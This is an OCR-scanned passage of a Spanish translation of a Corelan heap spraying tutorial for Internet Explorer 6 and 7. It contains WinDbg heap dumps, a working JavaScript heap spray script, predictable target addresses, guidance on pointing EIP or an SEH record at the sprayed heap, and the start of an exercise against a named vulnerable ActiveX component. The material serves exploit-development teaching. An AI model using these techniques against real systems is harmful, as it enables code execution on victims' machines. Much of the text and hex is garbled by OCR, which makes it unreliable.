eax=7760700c ebx=00020000 ecx=77607034 edx=00000006 e=i=00020010 =di=0003E86243

eip=774fcfdd e=sp=0013eldc ebp=0013slec iopl=I nv up 21 pl =r na pe nc
ce=001b ===0023 d=s=0023 e=s=0023 f==003b g==0000 ef1=00000246
oledZ ICEetaillalloc_Alloc:

774fcfdd 8bif mow edi,.edl

Lo que buscamos en este momento, es el Call Stemkemos que
averiguar de donde fue llamada CRetailMalloc_Alpaveriguar donde o
como se asignan cadenas de javascript en el praetsexplorador. Ya
vemos el tamafio de la asignacion en ESI (0x20@i0)lo que cualquier
rutina que decidio tomar el tamafio 0x20010, ya kiztrabajo.

Puedes mostrar el Call Stack ejecutando el comdkaoen Windbg. En
este punto, debes obtener algo similar a esto:
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0:000> kb

ChildEBP RetAddr Args to Child

0013e1d8 77124b32 77607034 00020010 00038ae8 ole32! CRetailMalloc_Alloc
0013elec 77124c5f 00020010 00038b28 0013e214
OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013elfc 75c61e8d 00000000 001937d8 00038bc8
OLEAUT32!SysAllocStringByteLen+0x2e

0013e214 75c61e12 00020000 00039510 0013e444
jscript!PvarAllocBstrByteLen+0x2e

0013e230 75c61da6 00039520 0001fff8 00038b28 jscrip tIConcatStrs+0x55
0013e258 75¢c61bf4 0013e51c 00039a28 0013e70c
jscript!CScriptRuntime::Add+0xd4

0013e430 75c54d34 0013e51c 75¢51b40 0013e51c
jscript!CScriptRuntime::Run+0x10d8

0013e4f4 75c5655f 0013e51c 00000000 00000000
jscript!ScrFncObj::Call+0x69

0013e56¢ 75c5cf2c 00039a28 0013e70c 00000000
jscript!CSession::Execute+0xb2

0013e5bc 75c5eeb4 0013e70c 0013e6ec 75c57fdc
jscript!COleScript::ExecutePendingScripts+0x14f
0013e61c 75c5ed06 001d0fOc 013773a4 00000000
jscript!COleScript::ParseScriptTextCore+0x221
0013e648 7d530222 00037ff4 001d0fOc 013773a4
jscript!COleScript::ParseScriptText+0x2b

0013e6a0 7d5300f4 00000000 01378f20 00000000
mshtml!CScriptCollection::ParseScriptText+0xea
0013e754 7d52ff69 00000000 00000000 00000000
mshtml!CScriptElement::CommitCode+0x1c2
0013e78c 7d52e14b 01377760 0649ab4e 00000000
mshtml!CScriptElement::Execute+0xa4

0013e7d8 7d4f8307 01378100 01377760 7d516bd0
mshtml!CHtmParse::Execute+0x41

El Call Stack nos dice que oleaut32.dll pareceusemodulo importante
con respecto a las asignaciones de cadena. Algranay también algun
mecanismo de almacenamiento en caché involucraddEAOT32!
App_Data :: AllocCachedMem). Hablaremos méas sobte en el capitulo
sobreheaplib.

Si quieres ver cdmo y cuando la etiqueta se eseribel trozo del Heap,
ejecuta el codigo javascript de nuevo, y para eMeksageBox "Ready to
Spray".

Cuando esa alerta se activa:

e Localiza la direccion de memoria de la etiguataa 0x00000000
L?0x7fffffff “CORELAN” (digamos que retorna 0x001ce084).

e Pon un BP “On Read” en esa direcciba:r 4 0x001ce084

* Ejecutag.
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Haz clic en "Aceptar" en el MessageBox, lo que perda iteracion o
bucle para ejecutarse. Tan pronto como la etigseetafiade a los NOP’s,
parara en un BP, mostrando esto:

0:008> ba r 4 001ce084

0:008> g

Breakpoint O hit

eax=00038a28 ebx=00038b08 ecx=00000001 edx=00000008 esi=001ce088

edi=002265d8

eip=75c61e27 esp=0013e220 ebp=0013e230 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010202

jscript!ConcatStrs+0x66:

75c61e27 f3a5 rep movs dword ptr es:[edi ],dword ptr [esi]

Esto parece ser umemcpy() en JScript!ConcatStrs(), la copia de la
etiqueta en el trozo del Heap (de [ESI] a [EDI]).

En el cédigo de pulverizacién de javascript acteatamos concatenando
dos cadenas juntas, lo que explica los NOP’s gtlgaetas se escriben por
separado. Antes de escribir la etiqueta en el frgagpodemos ver que los
NOP’s estan en su lugar.

ESI (fuente) vs EDI (destino), ECX se utiliza commntador aqui, y el
valor 0x1 (Otro REP MOVS se ejecutara, copiandosodr bytes).

2 45 4c 41 de 2 I 00 Da 00 03 00 CORELA
00 42 00 -5 72 00 00 70 e
a1

0:000> d edi-4

002265d4 43 4f 52 45 90 90 %0 90-90 30 20 90 90 90 90 90 CORE
0022654 90 90 90 90 90 90 90 90-90 90 90 90 %0 90 90 90 Sl
002265£4 50 90 90 %0 90 90 90 90-90 20 20 90 90 20 90 90
00226604 90 90 90 50 S0 90 %90 90-90 90 90 90 %0 90 90 90
00226614 90 90 90 S0 90 90 90 90-90 %0 90 90 90 90 90 90
00226624 90 90 %0 S0 90 90 90 90-90 %0 90 90 90 90 90 90
00226634 90 90 90 %0 90 90 90 90-90 90 %0 90 90 90 90 90
00226644 30 20 90 20 90 90 90 920-90 90 20 30 90 20 90 90

Echemos un vistazo a lo que ocurre en IE7 utilizagldscript del mismo
Heap Spray.

Probando el mismo Script en IE7
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Al abrir el script de ejemplo (spraylc.html) en NEpermitir que el codigo
javascript se ejecute, una busqueda en Windbg rauegte nos las
arreglamos para pulverizar el Heap muy bien:

0:013> s -a 0x00000000 L?0x7fffffff " CORELAN

0017b674 43 4f 52 45 4c 41 4e 21-00 00 00 00 20 83

033c2094 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90

039e004c 43 4f 52 45 4c¢ 41 4e 21-90 90 90 90 90 90

03a4104c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90

03a6204c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90

03aal04c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 CORELANL..

03ac204c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 CORELAN!..
03ae304c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90
03b0404c 43 4f 52 45 4c¢ 41 4e 21-90 90 90 90 90 90
03b2504c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90
03b4604c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90
03b6704c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90
03b8804c 43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90

Vamos a ver los tamafios de asignacion:

0:013> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
20fc1 c9 - 19e5e89 (87.95)
1fff8 7 - dffc8 (2.97)
3fff8 2 - 7fff0 (1.70)
fff8 6 - 5ffd0 (1.27)
7ff8 9 - 47fb8 (0.95)
1ff8 24 - 47ee0 (0.95)
3ff8 f - 3bf88 (0.80)
8fcl 5 - 2cec5 (0.60)
18fcl 1 - 18fcl (0.33)
7ff0 3 - 17fd0 (0.32)
13fcl 1 - 13fcl (0.27)
7f8 1d - e718 (0.19)
b2e0 1 - b2e0 (0.15)
ff8 b - afa8 (0.15)
7db4 1 - 7db4 (0.10)
614 13 - 737c (0.10)
57e0 1 -57e0 (0.07)
20 294 - 5280 (0.07)
4ffc 1 - 4ffc (0.07)
3f8 13 - 4b68 (0.06)

Por supuesto, podriamos haber encontrado el tadeitéeap, localizando
el trozo del Heap correspondiente a una de lascamees de nuestro
resultado de la busqueda:
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0:013> 'heap -p -a 03b8804c
address 03b8804c found
_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
03b88040 4200 0000 [01] 03b88048 20fc 1 - (busy)

El UserSize es mas grande que el que esta endE& gue los "agujeros”
entre 2 trozos serian un poco mas grandes. Deligde &I trozo entero es
mas grande y contiene mas NOP’s que nuestros psndes scripts, esto
puede que no sea un problema.

Ingredientes para un buen Heap Spray

Nuestras pruebas han demostrado que tenemos tmredeaminimizar la
cantidad de espacio entre dos bloques. Si tieressgiltar” a una direccion
del Heap, tenemos que reducir al minimo el riesgatdrrizar en medio de
dos trozos. Cuanto mas pequefio sea el espacio,r raenel riesgo. Al
llenar una gran parte de cada bloque con NOP'satgndo de obtener la
direccion base de cada asignacion mas o menosslmancada vez que
salta alnopsleden el Heap Spray seria mucho mas fiable.

El script se utiliz6 hasta ahora logré desencadé&marasignaciones del
Heap con su tamafio perfectamente en IE6, y tralgmsmas grandes en
IE7.

La velocidad es importante. Durante la pulverizacidel Heap, el
navegador puede parecer que no responda duratiEmpo corto. Si esto
toma mucho tiempo, el usuario realmente puede nwltgroceso de
Internet Explorer antes de que la pulverizacioraltayminado.
Resumiendo todo esto, un Spray bueno para IE6G:e IE7

 Debe ser rapido. Se debe encontrar un buen edguiléntre el
tamano de bloque y el nUmero de iteraciones.

» Debe ser confiable. La direccién de destino (mdses@sto, mas
adelante) debe apuntar en nuestros NOP’s cada vez.

En el proximo capitulo, vamos a ver una versionnupada del script
Heap Spray y comprobaremos que es rapido y coafiabl

También necesitamos averiguar qué direccion preldedebemos mirar, y
cudl es el impacto en el script. Después de tadieseas ejecutar el script
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actual varias veces (cierra IE y abre la paginaudo0), te darias cuenta de
gue las direcciones en las que se asignan losstemmomas propensos a ser
diferentes cada vez, asi que no hemos llegadostraueeta final todavia.

Antes de pasar a una version mejorada del scriptedg Spray, hay una
cosa mas que quiero explicar, el recolector derbasu

El recolector de basura

Javascript es el lenguaje de scripting y no requigie trates con la gestion
de memoria. La asignacion de nuevos objetos ohlagaes muy sencilla, y
no tienes por qué preocuparte de la limpieza dedmoria. El motor de

Javascript en Internet Explorer tiene un proceamddo "recolector de

basura”, que buscara trozos que se pueden exéd@niemoria.

Cuando una variable se crea con la palabra claag,"tiene un alcance
global y no ser& eliminada por el recolector deutmsOtras variables u
objetos, que ya no son necesarios (no esta enbticdno marcado para ser
eliminado, sera eliminado por el recolector de bt proxima vez que se
ejecute.

Vamos a hablar mas sobre el recolector de basuboapitulo ddneaplib.

Script de Heap Spray

Script de uso comun
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Una busqueda rapida para Exploits de Heap Spr#yGle IE7 erExploit-
DB retorna mas o menos el mismo script la mayorialage veces
(spray2.html):

<html>
<script >
shellcode = (' %u\d141%u\4141 Y;
bigblock = (" %u\9090%u\9090 Y;
headersize = 20;
slackspace = headersize + shellcode. ;
(bigblock. < slackspace) bigblock += bigblock;

fillblock = bigblock.substring(0,slackspace);
block = bigblock.substring(0,bigblock. - slackspace);
(block. + slackspace < 0x40000) block = block + block +

fillblock;

memory = 0;

(i=0;i<500; i++){ memory][i] = block + shellco de}
</script>
</html>

Este script asignara grandes bloques, y pulverb@®areces.

Ejecuta el script en IE6 e IE7 unas cuantas vese®lga las asignaciones.

IE6 (UserSize 0x7ffe0)

0:008> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
7ffe0 1f5 - fa7¢160 (99.67)
13e5¢ 1 - 13e5¢ (0.03)
118dc 1 - 118dc (0.03)
8000 2 - 10000 (0.02)
b2e0 1 - b2e0 (0.02)
8cl4 1 - 8cl4 (0.01)
7fe0 1 - 7fe0 (0.01)
7fb0 1 - 7fb0 (0.01)
7b94 1 - 7b94 (0.01)
20 31a- 6340 (0.01)
57e0 1 - 57e0 (0.01)
4ffc 1 - 4ffc (0.01)
614 c - 48f0 (0.01)
3fe0 1 - 3fe0 (0.01)
3fb0 1 - 3fb0 (0.01)
3980 1 - 3980 (0.01)
580 8 - 2c00 (0.00)
2a4 f - 279c (0.00)
d8 26 - 2010 (0.00)
1fe0 1 - 1fe0 (0.00)
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Run 1:

0:008> !heap -flt s 0x7ffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
02950018 fffc 0000 [Ob] 02950020 7ffe 0 - (busy VirtualAlloc)
028d0018 fffc fffc [Ob] 028d0020 7ffe 0 - (busy VirtualAlloc)
029d0018 fffc fffc [Ob] 029d0020 7ffe 0 - (busy VirtualAlloc)
02a50018 fffc fffc [Ob] 02a50020 7ffe 0 - (busy VirtualAlloc)
02ad0018 fffc fffc [Ob] 02ad0020 7ffe 0 - (busy VirtualAlloc)
02b50018 fffc fffc [Ob] 02b50020 7ffe 0 - (busy VirtualAlloc)
02bd0018 fffc fffc [Ob] 02bd0020 7ffe 0 - (busy VirtualAlloc)
02c50018 fffc fffc [Ob] 02c50020 7ffe 0 - (busy VirtualAlloc)
02cd0018 fffc fffic [Ob] 02cd0020 7ffe 0 - (busy VirtualAlloc)
02d50018 fffc fffc [Ob] 02d50020 7ffe 0 - (busy VirtualAlloc)
02dd0018 fffc fffc [Ob] 02dd0020 7ffe 0 - (busy VirtualAlloc)

0bf80018 fffc fffc [Ob] 0bf80020 7ffe 0 - (busy VirtualAlloc)
0c000018 fffc fffc [Ob] 0c000020 7ffe 0 - (busy VirtualAlloc)
0c080018 fffc fffc [Ob] 0c080020 7ffe 0 - (busy VirtualAlloc)
0c100018 fffc fffc [Ob] 0c100020 7ffe 0 - (busy VirtualAlloc)
0c180018 fffc fffic [Ob] 0c180020 7ffe 0 - (busy VirtualAlloc)
0c200018 fffc fffc [Ob] 0c200020 7ffe 0 - (busy VirtualAlloc)
0c280018 fffc fffc [Ob] 0c280020 7ffe 0 - (busy VirtualAlloc)
0c300018 fffc fffic [Ob] 0c300020 7ffe 0 - (busy VirtualAlloc)

Run 2:

0:008> 'heap -flt s 0x7ffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
02950018 fffc 0000 [Ob] 02950020 7ffe 0 - (busy VirtualAlloc)
02630018 fffc fffc [Ob] 02630020 7ffe 0 - (busy VirtualAlloc)
029d0018 fffc fffc [Ob] 029d0020 7ffe 0 - (busy VirtualAlloc)
02a50018 fffc fffc [Ob] 02a50020 7ffe 0 - (busy VirtualAlloc)
02ad0018 fffc fffc [Ob] 02ad0020 7ffe 0 - (busy VirtualAlloc)
02b50018 fffc fffc [Ob] 02b50020 7ffe 0 - (busy VirtualAlloc)
02bd0018 fffc fffc [Ob] 02bd0020 7ffe 0 - (busy VirtualAlloc)
02c50018 fffc fffc [Ob] 02c50020 7ffe 0 - (busy VirtualAlloc)
02cd0018 fffc fffc [Ob] 02cd0020 7ffe 0 - (busy VirtualAlloc)
02d50018 fffc fffc [Ob] 02d50020 7ffe 0 - (busy VirtualAlloc)
02dd0018 fffc fffc [Ob] 02dd0020 7ffe 0 - (busy VirtualAlloc)
02e50018 fffc fffc [Ob] 02e50020 7ffe 0 - (busy VirtualAlloc)
02ed0018 fffc fffc [Ob] 02ed0020 7ffe 0 - (busy VirtualAlloc)

0bf00018 fffc fffc [Ob] Obf00020 7ffe 0 - (busy VirtualAlloc)
0bf80018 fffc fffc [Ob] 0bf80020 7ffe 0 - (busy VirtualAlloc)
0c000018 fffc fffc [Ob] 0c000020 7ffe 0 - (busy VirtualAlloc)
0c080018 fffc fffic [Ob] 0c080020 7ffe 0 - (busy VirtualAlloc)
0c100018 fffc fffc [Ob] 0c100020 7ffe 0 - (busy VirtualAlloc)
0c180018 fffc fffic [Ob] 0c180020 7ffe 0 - (busy VirtualAlloc)
0c200018 fffc fffc [Ob] 0c200020 7ffe 0 - (busy VirtualAlloc)
0c280018 fffc fffc [Ob] 0c280020 7ffe 0 - (busy VirtualAlloc)
0c300018 fffc fffc [Ob] 0c300020 7ffe 0 - (busy VirtualAlloc)
0c380018 fffc fffc [Ob] 0c380020 7ffe 0 - (busy VirtualAlloc)

En ambos casos:
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« Vemos un patron (direcciones del Heap Entry empigzar 0x
0018).

» Las direcciones mas altas parecen ser las misrdasved.

 El tamafio del bloque en javascript parecia habserdmdenado
bloques de VirtualAlloc().

Ademas de eso, parece que los trozos fueron llena8io vuelcas o
Dumpeas uno de los trozos, sumale el Offset 7ffedstale 40 (ver el final
del trozo), obtenemos lo siguiente:

0:008> d 0c800020+7ffe0-40

0c87ffcO 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c87ffd0 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c87ffe0 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c87fff0 90 90 90 90 90 90 90 90-

0c880000 00 00 90 Oc 00 00 80 0c-00 00 00 00 00 00
0c880010 00 00 08 00 00 00 08 00-20 00 00 00 00 Ob
0c880020 d8 ff 07 00 90 90 90 90-90 90 90 90 90 90

0c880030 90 90 90 90 90 90 90 90-90 90 90 90 90 90

Vamos a intentar hacer lo mismo en |IE7 de nuevo.

IE7 (UserSize 0x7ffe0)

0:013> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (98.76)
1fff8 6 - bffd0 (0.30)
3fff8 2 - 7fff0 (0.20)
fff8 5 - 4ffd8 (0.12)
78 9 - 47fb8 (0.11)
1ff8 20 - 3ff00 (0.10)
3ff8 e - 37f90 (0.09)
13fcl 1 - 13fcl (0.03)
12fcl 1 - 12fcl (0.03)
8fcl 2 - 11f82 (0.03)
b2e0 1 - b2e0 (0.02)
7f8 15 - a758 (0.02)
ff8 a - 9fb0 (0.02)
7ff0 1 - 7ff0 (0.01)
7fe0 1 - 7fe0 (0.01)
7fcl 1 - 7fcl (0.01)
7db4 1 - 7db4 (0.01)
614 13 - 737c (0.01)
57e0 1 - 57e0 (0.01)
20 294 - 5280 (0.01)
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Run 1:

0:013> !heap -flt s 0x7ffe0

_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSiz
03e70018 fffc 0000 [0b] 03e70020 7ffe
03de0018 fffc fffc [Ob] 03de0020 7ffe
03f00018 fffc fffc [0b] 03f00020 7ffe
0390018 fffc fffic [0b] 03f90020 7ffe
04020018 fffc fffc [0b] 04020020 7ffe
040b0018 fffc fffic [Ob] 040b0020 7ffe
04140018 fffc fffc [0b] 04140020 7ffe
041d0018 fffc fffic [Ob] 041d0020 7ffe
04260018 fffc fffc [0b] 04260020 7ffe
042f0018 fffc fffc [0b] 042f0020 7ffe
04380018 fffc fffc [0b] 04380020 7ffe
04410018 fffc fffc [0b] 04410020 7ffe
044a0018 fffc fffic [Ob] 044a0020 7ffe

- state

- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)

[eNeoNeoloNolNoNolNoNoNeoNoNeNoN]

0bf50018 fffc fffc [0b] 0bf50020 7ffe
0bfe0018 fffc fffc [Ob] Obfe0020 7ffe
0c070018 fffc fffc [Ob] 0c070020 7ffe
0c100018 fffc fffc [Ob] 0c100020 7ffe
0c190018 fffc fffc [Ob] 0c190020 7ffe
0c220018 fffc fffc [Ob] 0c220020 7ffe
0c2b0018 fffc fffc [Ob] 0c2b0020 7ffe
0c340018 fffc fffc [Ob] 0c340020 7ffe
0c3d0018 fffc fffic [Ob] 0c3d0020 7ffe

- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)

[cNeolNeololoNoNoNoNe]

UserSize es el mismo, y vemos un patron en IE7 itamhas direcciones
parecen ser un poco diferentes en su mayoria 0916@@s distintos de
los que vimos en IE6, pero ya que utilizamos urgidogrande, y logré
llenar casi por completo.

TIL-IIL g e gy

0:013> d ObfS0018+0x7E£e0-40
Obfcffb8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .. ... ... .......
Obfcffc8 90 90 90 90 90 90 90 90-90 20 90 30 90 90 90 90 .. ... ... ........
Obfcffdd 90 90 90 90 90 90 90 90-%0 90 S0 90 90 90 90 90 .............. .
Obfcffe8 90 90 90 90 90 90 90 90-90 20 90 90 90 90 90 90 .. ... . ........
Obfcfff8 41 41 41 41 00 00 OO0 00-00 00 OO OO OO 0O OO 0O ARMA. . .. ...... .
Obfdo0O08 00 OO OO0 OO OO 0O OO OO-DO OO OO 0O OO OO OO OO0 ... ... .....
Obfd0013 00 00 00 00 00 OO0 OO0 QO-00 00 OO0 00 00 00 OO0 00 ... . ... .......
Obfd0028 00 OO OO0 OO OO 0O OO OO-0DO0O OO OO OO OO OO OO OO ... ........

Este script es claramente mejor que el que henlaadb hasta ahora, y la
velocidad era bastante buena también.

Ahora, deberias ser capaz de encontrar una direqcié apunte hacia los

NOP’s cada vez, lo que significa que tendremosctiptsde Heap Spray
universal para IE6 e IE7.
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Esto nos lleva a la siguiente pregunta: ¢ Cual astamente esa direccion
fiable y previsible que debemos buscar?

El puntero predecible

Al mirar hacia atras en el Heap, las direccioneetmadas al utilizar los
scripts basicos, nos dimos cuenta de que las asigres se llevaron a cabo
en las direcciones comenzando con 0x027, 0x0280@9>Por supuesto,
el tamafo de los trozos era bastante pequefio padgie las asignaciones
pueden no haber sido consecutivas (debido a lengatacion).

Usando el "popular" script de Heap Spray, el tamdéiotrozo es mucho
mas grande, asi que debemos ver las asignacioeesanién podrian
comenzar en esos lugares, pero el resultado faral ed uso de punteros
consecutivos 0 rangos de memoria en una direcegeramente mas
elevada, cada vez.

Aungue las direcciones bajas parecen variar efiéeel IE7, los rangos
donde los datos fueron asignados a altas direigan@cen ser fiables.

Las direcciones que suelo comprobar para los NE#'s

« 0x06060606.
e 0x07070707.
e (0x08080808.
e 0x0909090.

e (0Ox0aOalOala.

En la mayoria de los casos (si no todos), 0x0606@&deralmente apunta
a los NOP’s, de modo que la direccion no tendrgdmrproblema. Con el
fin de verificar, simplemente vuelca 0x0606060@gusespués de que el
Heap Spray haya terminado, y verifica que estadiba apunte realmente
alos NOP’s.
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|E6:
0:008> 4 06060606
DE06060&6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
0e060616 90 %0 20 90 90 90 20 90-=-90 90 90 90 90 90 90 90
0060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
06060636 90 90 90 90 90 90 90 90-90 290 90 90 90 90 90 90
0e0&064e 90 90 290 90 90 90 90 90-90 90 90 90 90 90 90 90
DE06065E 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
0e060666 90 90 90 90 90 90 920 90=90 90 90 90 90 90 90 90
DE060A7E 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
0;008> 4 07070707
07070707 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
Q7070717 90 90 90 90 90 90 90 90-90 90 90 90 90 90 %0 490
07070727 90 90 90 90 90 90 90 90=90 90 90 90 90 90 90 490
070707327 90 90 90 90 90 90 90 90-90 90 90 90 90 90 920 90
Q7070747 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
07070757 90 90 90 90 90 90 20 90-=-90 90 90 90 90 90 90 90
07070767 90 90 90 90 S0 90 90 90-90 90 90 S0 90 90 %0 90
Q7070777 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
0:008> 4 08080308
08080808 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
08080812 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
Qgs080828 90 90 90 90 90 90 90 90=90 30 90 90 90 S0 90 90
080808328 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
gsog0842 90 90 90 90 90 90 20 90-90 90 90 90 90 90 90 90
08080858 90 90 90 90 S0 90 90 90-90 90 90 90 90 90 90 490
08080868 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 490
080B0OB78 90 90 90 90 90 90 90 90=90 90 90 90 90 90 90 90
IE7:
JCIUlZ0E CC 1Nt 3
0:014: d 06060606
0060606 90 90 90 %0 90 90 90 90-90 90 90 90 90 90 90 30
DE060ELE 90 90 90 20 90 90 90 90-20 90 90 90 90 90 90 20
06060626 90 90 90 20 90 90 90 90=90 90 90 90 90 90 90 90
06060636 90 90 90 %0 90 90 90 90-90 90 90 90 90 90 90 %0
06060646 90 90 90 20 90 90 90 90-90 90 90 90 90 90 90 20
DE060E56 90 90 90 90 90 90 90 90-=90 90 90 90 490 90 90 490
0060666 90 90 90 %0 90 S0 90 90-90 90 90 90 90 90 90 90
OE0GDETE 90 90 90 %0 90 90 90 90-90 90 20 90 90 90 90 20
0:014> 4 07070707
o7070707 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
Q7070717 90 90 90 20 90 90 90 90-90 90 90 90 90 90 90 20
07070727 90 90 90 20 90 90 90 90-90 90 90 90 90 90 90 20
07070737 90 90 90 90 90 90 90 90=90 90 90 90 90 90 90 90
Q7070747 90 90 90 %0 90 90 90 90-%0 90 20 90 90 90 90 320
07070757 90 90 90 20 90 90 90 90=90 90 90 90 90 90 90 20
07070767 90 90 D 90 90 90 90 90-90 90 90 90 90 90 90 90
Q7070777 0 90 90 90 90 90 90-90 90 90 90 90 S0 90 90
0:014> d UEEGDEDE
DeE080e0se a0 90 90 90 90 90-=90 90 490 90 90 90 90 90
0g080818 90 90 90 90 90 90 90 90-%0 90 90 90 90 S0 90 SO0
08080828 90 90 90 %0 90 90 90 90-90 90 20 90 90 90 90 20
og080838 90 90 90 920 90 90 90 90=90 90 90 90 90 90 90 90
T d Qge080E48 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
ranylpsogosss 90 90 90 S0 90 90 90 90-90 90 90 90 90 90 90 90
08020865 90 90 90 %0 90 90 90 90-%0 90 90 90 90 90 90 20
08080878 90 90 90 %0 90 290 90 90-=-90 90 20 90 90 90 90 90
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Por supuesto, eres libre de utilizar otra direc@drios mismos rangos de
memoria. Sélo asegurate de verificar que la diéeceipunte a los NOP’s
cada vez. Es importante probar el Heap Spray grdpia maquina, en

otros equipos y probar la pulverizacion variasegec

Ademas, el hecho de que un navegador puede teneroal complementos
instalados, puede cambiar el disefio del Heap.dPgemeral, esto significa
gue mas memoria del Heap ya esté asignada a loplamentos, que
puede tener dos consecuencias:

« La cantidad de iteraciones necesarias para alcalzanisma
direccién puede ser menor (debido a que parte deefaoria ya se
haya asignado a los complementos, plugins, etc).

 La memoria puede ser mas fragmentada, asi que puedéngas
gue pulverizar mas y elegir una direccion supgrema que sea mas
fiable.

¢,0x0c0c0c0c?

Puedes haber notado que en las Exploits mas resjdat gente tiende a
usar 0x0c0c0cOc. Para la mayoria de los Heap Sppaydo general no
hay ninguna razén para utilizar 0x0cOcOcOc (que ues direccion

significativamente mayor en comparacion con el @80606).

De hecho, se puede requerir mas iteraciones, neéss ale CPU, mas
asignaciones de memoria para llegar a O0xOcOcOcenitras que puede no
ser necesario pulverizar todo el camino hasta Gflx. Sin embargo,
muchas personas parecen utilizar esa direccién, gstoy seguro de si la
gente sabe por qué y cuando tendria sentido hacerlo

Te lo explicaré cuando lo l6gico seria hacerlo eicarto tiempo.
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En primer lugar, vamos a poner las cosas juntasr yovque tenemos que
hacer después de pulverizar el Heap con el fin devertir una
vulnerabilidad en un Exploit funcional.

Implementando Heap Spray en tu Exploit

Concepto

La implementacion de un Heap Spray es relativami&aie Tenemos un
script funcional, que deberia trabajar de una fogeaérica. Lo Unico
adicional que tenemos que tener cuidado es la seieude actividades en
el Exploit.

Como se ha explicado anteriormente, tienes quesgantrtu Payload en
memoria usando Heap Spray primero.

Cuando el Heap Spray haya terminado y el Paylsazldisponible en la
memoria del proceso, es necesario activar la colwopde memoria que
conduce al control de EIP.

Cuando se controla EIP, por lo general tratarabcedizar tu Payload, y
encontrar un puntero a una instruccion que te pieénsialtar a ese Payload.

En lugar de buscar un puntero (sobreescritura ddepu de retorno

guardado, sobreescritura del puntero de funciéoh puntero a POP/POP/
RET (para aterrizar de vuelta en el campo nSEHa=so ce un registro
SEH sobrescrito), solo tendrias que poner la dibacde destino del Heap
(0x06060606, por ejemplo) en EIP, y eso es todo.

Si DEP no esta habilitado, el Heap sera ejecutalole]o que soélo tienes
que "volver a Heap" y ejecutar los NOP’s + la SQloele sin ningun
problema.

En el caso de un registro SEH sobrescrito, es itapt@ entender que no es
necesario que rellene NSEH con un pequefo salia bdelante. Ademas,
SAFESEH no se aplica porque la direcciobn que estAamdo para
sobrescribir el controlador de campo SE con puatosl Heap y no en uno
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de los mdédulos cargados. Como se explica en dlidu® se dirige fuera
de los moédulos cargados que no estan sujetos a SAFEENn otras
palabras, si ninguno de los médulos tiene SAFESiBHavia se puede
sacar un exploit funcional simplemente retornariddeap.

Ejercicio
Echemos un vistazo a un ejemplo rapido para deartistEn mayo de
2010, una vulnerabilidad en Mail CommuniCrypt fegalado por Corelan
Team (descubierto por Lincoln). Puede encontrawislo original aqui:

http://www.corelan.be:8800/advisories.php?id=CORKI-20-042

Puedes obtener una copia de la apliacion vulneeahle

http://www.exploit-db.com/application/12663

El Exploit PoC indica que podemos sobreescribir registro SEH
utilizando un argumento demasiado largo para ebdeeAOSMTP.Mail
AddAttachments. Alcanzamos el registro despuésBdecaracteres. Sobre
la base de lo que puedes ver en el PoC, al panedeay suficiente espacio
en la pila para albergar el Payload y la aplicacidntiene un modulo sin
SAFESEH, por lo que podrias utilizar un puntero@GQPAPOP/RET para
saltar al Payload.

Una vez instalada la aplicacion, rapidamente vadldiug con ComRaider:

http://code.google.com/p/ideflabs-tools-
archive/source/browse/#svn%?2Flabs archive%2Ftools

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r



Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

i "l e

IDEFEMNSE

g Unfile DIO/1IEE 0% Excoptiony 0 Windovws Clissieil

Fin | R | Excoptinn | Windoess | ApHits
CACOMA st St AL SMTPLIBAM sl Additschmant s LTI 1wl Cammed Exvepti. 1 0 [1]
£ ACTIM A ™ Aot S 0TS A T Pty M il S el e v 1 0P 8E 1 TN il Caesid Ewiiph 1 0 a
